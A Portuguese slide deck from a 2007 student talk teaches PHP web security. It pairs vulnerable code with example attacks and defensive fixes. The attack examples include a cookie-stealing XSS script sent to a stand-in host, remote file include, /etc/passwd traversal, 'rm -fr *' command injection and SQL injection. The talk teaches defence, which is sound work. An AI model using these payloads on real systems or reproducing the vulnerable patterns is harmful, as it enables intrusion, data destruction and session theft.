INSTITUTO SUPERIOR TÉCNICO

Segurança em aplicações Web

Exemplos e Casos Práticos em

Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007

Agenda:

- Register Globals
- Paths
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- Session Hijacking

- Links
- Questões

Agenda:

- ⇨ **Register Globals**
- Paths
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- Session Hijacking

- Links
- Questões

Register Globals

- Configuração do PHP insegura
- Não usar / desactivar !!

script.php?autenticado=1

```php
<?php
if ($user == 'user' && $pass == 'pass') {
    $autenticado = true;
}

if ($autenticado) {
    mostra_info_confidencial();
}

?>
```

```php
<?php
$autenticado = false;

if ($_POST[‘user’] === 'user'

(...)
?>
```

✓register_globals=Off

Agenda:

- Register Globals
- ⇨ **Paths**
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- Session Hijacking

- Links
- Questões

Paths

- *Includes* perigosos levam a execução remota de código
- Visualização de ficheiros confidenciais

script.php?file=http://attack.com/script

```
<?php

include "$file.inc";
//include "http://attack.com/script.inc";


?>
```

✓allow_url_fopen/include=Off

script.php?file=../../../../etc/passw
d

```
<?php

readfile($file);

?>
```

✓basename() / dirname()

✓realpath()

✓pathinfo()

Paths

- Execução de comandos no servidor

script.php?opts=-la | rm –fr *

```
<?php

system("ls $opts");
//system("ls -la | rm –fr *");

?>
```

✓escapeshellarg()

✓escapeshellcmd()

✓safe_mode=On (be careful..)

script.php?p=script.php%00.html

```
<?php

if (substr($_GET['p'], -5) == '.html') {
    readfile($_GET['p']);
}

?>
```

Agenda:

- Register Globals
- Paths
- ⇨ **Cross-Site Scripting (XSS)**
- Response Splitting / Header Injection
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- Session Hijacking

- Links
- Questões

Cross-Site Scripting (XSS)

- Inserção de HTML/JavaScript numa página (através de variáveis não filtradas)
- Permite roubo de sessões, passwords, etc..

```
<script>
document.location =
'http://example.org/steal_cookies.php?cookie=' + document.cookie
</script>
```

✓strip_tags()

✓htmlentities() / htmlspecialchars()

Agenda:

- Register Globals
- Paths
- Cross-Site Scripting (XSS)
- ⇨ **Response Splitting / Header Injection**
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- Session Hijacking

- Links
- Questões

Response Splitting / Header Injection

- Inserção de headers HTTP no cliente
- Perigos similares ao XSS

```
script.php?p=\r\nSet-Cookie: key=val
```

```
<?php

header("Location: “ . $_GET['p']);

?>
```

Agenda:

- Register Globals
- Paths
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- ⇨ **Mail Injection**
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- Session Hijacking

- Links
- Questões

Mail Injection

- Maioritariamente usado para envio de SPAM

```
script.php?from=x\r\nBcc:tons@of.mails
```

```php
<?php

$headers = "From: " . $_GET['from'];
mail($to, $subject, $msg, $headers);
?>
```

Agenda:

- Register Globals
- Paths
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- Mail Injection
- ⇨ **Cross-Site Request Forgeries (CSRF)**
- SQL Injection
- Session Hijacking

- Links
- Questões

Cross-Site Request Forgeries (CSRF)

"sea surf"

- Método pouco usado em exploits (por enquanto…)
- Mas muito poderoso e difícil de defender
- Bastante transversal

```
[img]http://your.forums/newreply.php?action=newthread&subject=aaa
&body=some+naughty+words&submit=go[/img]
```

```
<img src="http://192.168.0.1/admin/buy_stocks.php?number=all">
```

Cross-Site Request Forgeries (CSRF)

"sea surf"

- Não há “receitas”, depende do programa
- Usar POST em vez de GET
- Forçar o uso de *forms* próprios via TOKEN aleatório

Agenda:

- Register Globals
- Paths
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- ⇨ **SQL Injection**
- Session Hijacking

- Links
- Questões

SQL Injection

Fácil de evitar:

- Filtrar dados por tipo
- Usar aspas
- Prepared statements
- Não mostrar erros (i.e. mysql_error())

SQL Injection

```
script.php?user=admin' OR '1'='1&pass=
```

```
<?

$sql = "SELECT * FROM tabela WHERE user='$user' AND pass='$pass'";

$q = mysql_query($sql) or die(mysql_error());

if (mysql_num_rows($q) == 1) {
    $auth = true;
}

?>
```

```
SELECT * FROM tabela WHERE user='admin' OR '1'='1' AND pass=' '
```

SQL Injection

- Usar cast explícito para inteiros
- mysql_real_escape_estring()
- Usar hashes nos códigos (md5()/sha1())
- Cuidado com wildcards (‘...LIKE “%aeiou%”’)
- Atenção às *queries* múltiplas

```
<?
$an_int = (int) $_GET['an_int'];

if ($an_int < 0 || $an_int > 50)
  display_user_error();

?>
```

Agenda:

- Register Globals
- Paths
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- ⇨ **Session Hijacking**

- Links
- Questões

Session Hijacking

- “Roubo” de sessões
- Sem SSL, fazer lock ao User Agent
- Usar SSL e fazer lock ao IP (e ao certificado do cliente)
- Usar apenas cookies (evita URLs do tipo script.php?PHPSESSID=jfh92lpgmc7s6fj e ataques pelo HTTP REFERER)

Session Fixation

- Advém de Engenharia Social
- Usar session_regenerate_id() depois do login
- Sessão do atacante deve ficar sem privilégios

Agenda:

- Register Globals
- Paths
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- Session Hijacking

⇨ **Links**

- Questões

Links

- php.net/manual/security
- www.owasp.org
- www.securityfocus.com
- www.phpsecure.info
- www.net-force.nl
- ilia.ws/files/quebec_security2007.pdf

- mega.ist.utl.pt/~ncpl/pres/

Agenda:

- Register Globals
- Paths
- Cross-Site Scripting (XSS)
- Response Splitting / Header Injection
- Mail Injection
- Cross-Site Request Forgeries (CSRF)
- SQL Injection
- Session Hijacking

- Links
- ⇨ **Questões**